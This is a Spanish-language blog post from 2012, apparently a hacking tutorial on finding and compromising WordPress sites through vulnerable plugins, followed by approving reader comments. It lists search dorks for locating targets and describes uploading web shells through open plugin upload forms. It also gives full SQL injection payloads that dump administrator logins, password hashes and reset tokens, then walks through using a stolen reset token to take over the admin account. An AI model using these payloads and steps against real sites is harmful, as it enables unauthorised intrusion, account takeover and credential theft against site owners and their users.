viernes, 31 de agosto de 2012

WordPress y Algunas de sus Vulnerabilidades


WordPress  ¿Qué es?

WordPress es un sistema de gestión de contenido (en inglés Content Management System, o CMS) enfocado a la creación de blogs (sitios web periódicamente actualizados). Desarrollado en PHP y MySQL, bajo licencia GPL y código modificable. WordPress se ha convertido junto a Movable Type en el CMS más popular de la blogosfera y en el más popular con respecto a cualquier otro CMS de aplicación general. Las causas de su enorme crecimiento son, entre otras, su licencia, su facilidad de uso y sus características como gestor de contenidos.


WordPress ¿Objetivo de Hackers?

Según Wikipedia: WordPress es usado por más del 16,7% en el rank Alexa Internet "top 1 million" de sitios web y en agosto de 2011 gestiona el 22% de todos los nuevos sitios web.

Esto y debido a los miles de plugins y temas disponibles para WordPress, no hace falta decir que los programadores han codificado descuidadamente una parte equitativa de estos y que las posibilidades de una mayor escalada de privilegio para el hacker si encuentra un sitio web utilizando un plugin explotable o no actualizados . Estos pueden ir desde las vulnerabilidades de tipo SQLi a LFI de la que voy a explicar más abajo. Pero en términos más simples un plugin web explotable eventualmente puede conducir a la administración y el acceso total al servidor.

¿Cómo encontramos sitios web que utilicen WordPress?

Usando dorks simples que pueden ser eficaces, por ejemplo:

  • intext:"Proudly powered by WordPress. "
  • intext:"Powered by WordPress. "

Además, podemos utilizar la ruta de configuración estándar de WordPress, utilizando la siguiente dork:

  • inurl: /wordpress/wp-content/plugins/

Esto encuentra un montón de sitios web de WordPress con los listados de directorios habilitados. Podemos navegar por el directorio y tomar nota de los plugins que utiliza el servidor. Esto es parte del proceso de enumeración, una vez que hemos tomado nota de lo plugins nos dirigimos a exploit-db en busca de exploits para dichos plugins.


¿Cómo explotamos sitios WordPress? Ejemplos reales:

  • inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php
Apreciaremos el sitio web de la siguiente forma:
Después de eso, es muy sencillo subir y localizar nuestra shell, solo queda disfrutar de ella.

2) Stored XSS: Version 3.2.3, usamos la siguiente dork:
  • inurl:/wp-content/plugins/count-per-day/notes.php
Apreciaremos el sitio web de la siguiente forma:
Podemos inyectar cualquier codigo javascript (XSS) la cual automaticamente se almacenara en el stored. El archivo "notes.php" no se limita solo a los administradores, por lo tanto cualquier persona puede acceder al archivo.

  • inurl:/wp-content/plugins/custom-content-type-manager/upload_form.php
Apreciaremos el sitio web de la siguiente forma:
Desde ahí se puede subir una shell, pero tenemos que cargarlo como una extensión de imagen (JPG/PNG/GIF). Para acceder a la shell, la encontraremos de la siguiente manera:
  • http://www.sitio-web.com/wp-content/uploads/[YYYY]/[MM]/shell.php.jpg

  • inurl:/wp-content/plugins/hd-webplayer/playlist.php?videoid=
Apreciaremos el sitio web de la siguiente forma:
Desde ahí se puede hacer una inyección básica, en primer lugar nos encontramos con las columnas, digamos que tiene 11, entonces inyectamos de la siguiente manera:
  • videoid=2+/*!UNION*/+/*!SELECT*/+group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),2,3,4,5,6,7,8,9,10,11+from​​+wp_users
Luego, por supuesto, una vez que se ha inyectado vamos a obtener los datos del administrador:


Esta vulnerabilidad se puede utilizar cuando tenemos un sitio web WordPress vulnerable a SQL Injection, la cual podemos obtener los datos administrativos como son el USUARIO, E-MAIL y PASSWORD, pero como ya sabemos y apreciamos en la imagen anterior, todo PASSWORD de WordPress estan encryptadas de una manera que es muy dificil de desencryptar, para ello usaremos esto metodo que consiste en Resetear el Password con el usuario o e-mail administrativo, la cual obtendremos un Token con lo que facilmente podemos cambiar la contraseña administrativa.

Obtendremos el user_login y user_email de la siguiente manera:
  • /*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_email,0x3b),2,3,4,5,6,7,8,9,10,11 from wp_users
Obtenido el usuario o e-mail nos dirigimos a www.sitio-web.com/wp-admin y seleccionamos en ¿Olvidó su contraseña? introducimos el usuario o e-mail 



Presionaremos en "Get New Password" la cual el sitio web enviara una codigo de activacion (Token)   entonces como es logico, dicho Token se almacena en la DB, por lo tanto obtendremos dicho codigo de la siguiente manera:
  • /*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_activation_key,0x3b),2,3,4,5,6,7,8,9,1​0,11 from wp_users
Obtenido dicho Token, solo nos faltaria restablecer la contraseña, para ello nos dirigimos al siguiente link:
  • http://www.sitio-web.com/wp-login.php?action=rp&key=Token&login=Usuario
Remplazamos "Token" y "Usuario" por lo datos que nos arroja la DB, por ejemplo:
  • http://www.sitio-web.com/wp-login.php?action=rp&key=RXr7T7lplszV&login=admin
Por lo que obtendremos la opcion de restablecer la contraseña facilmente, como vemos en la siguiente imagen:


6) Full Path Disclosure (FPD), usaremos la siguiente dork:
  • inurl:"/wp-includes/
Apreciaremos el sitio web de la siguiente forma:

Dando click en cualquiera de los archivos, facilmente el sitio web nos mostrara el Path (ubicacion) de sus archivos.

Ejemplo:
Mayormente esta Vulnerabilidad lo tienen el 80% de todos los sitios WordPress, pues facilmente podemos ir a cualquier sitio (WordPress) y diriginos a /wp-includes/ para apreciar dicha vulnerabilidad.

7) Fingerprinting WordPress version:

Este metodo sirve para obtener las versiones correcta de un sitio WordPress, para ello existen muchas herramientas como son:

Esas herramientas aparte de obtener la versión de WordPress de la página web, tambien puede  obtener información sobre las versiones de los plugins instalados y compara su versión a la última y más a la versión de los datos disponibles en la actualidad que indica si puede ser vulnerable o no.

Es todo por ahora.

Saludos.

4 comentarios:

  1. Excelente man estaba buscando algo como esto gracias :D

    ResponderEliminar
  2. Creo que Wordpress es una herramienta muy completa, con fisuras como todas. La considero mucho mejor que Blogger en cuánto a la indexación que posee en Google, pero también tengo en cuenta que el servicio que Google ofrece es totalmente gratuito. En Wordpress es necesario pagar para utilizar ciertas funciones, y no todos tenemos esa posibilidad.

    Saludos,

    Luis.

    ResponderEliminar
  3. Gracias por la información. Trabajo en una empresa de mantenimiento informatico, y creo que wordpress es de los mejores gestores de contenidos que existen, por encima de joomla, blogger, etc.

    ResponderEliminar
  4. Man sin duda uno de los mejores blog que e visto junto con el de chema un abrazo hermano aprecio mucho tu trabajo

    ResponderEliminar